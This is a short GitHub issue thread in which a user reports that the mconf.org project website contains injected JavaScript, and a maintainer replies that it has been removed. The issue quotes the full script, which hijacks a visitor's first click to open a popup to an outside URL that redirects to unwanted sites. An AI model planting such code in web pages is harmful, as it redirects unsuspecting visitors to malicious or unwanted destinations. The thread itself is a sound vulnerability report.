mconf / mconf-web

GNU Affero General Public License v3.0
123 stars 86 forks source link

mconf.org web site has a javascript hack #960

Closed mwyvr closed 6 years ago

mwyvr commented 6 years ago

The following code is on your main project site http://mconf.org/

var t = false;
document.onclick= function(event) {
if (t) {
return;
}
t = true;
  if ( event === undefined) event= window.event;
  var target= 'target' in event? event.target : event.srcElement;
  var win = window.open('http://p2.wncit.com/css/', '_blank');
  win.focus();
};

The url issues a redirect to a random server... sites you probably do not wish to be associated with.

Couldn't find a github project for your website so am reporting it here.

Cheers Mike

daronco commented 6 years ago

Hi Mike,

Thank you for the report. We're not sure yet what happened, but we removed the code and we'll investigate further.

Thanks.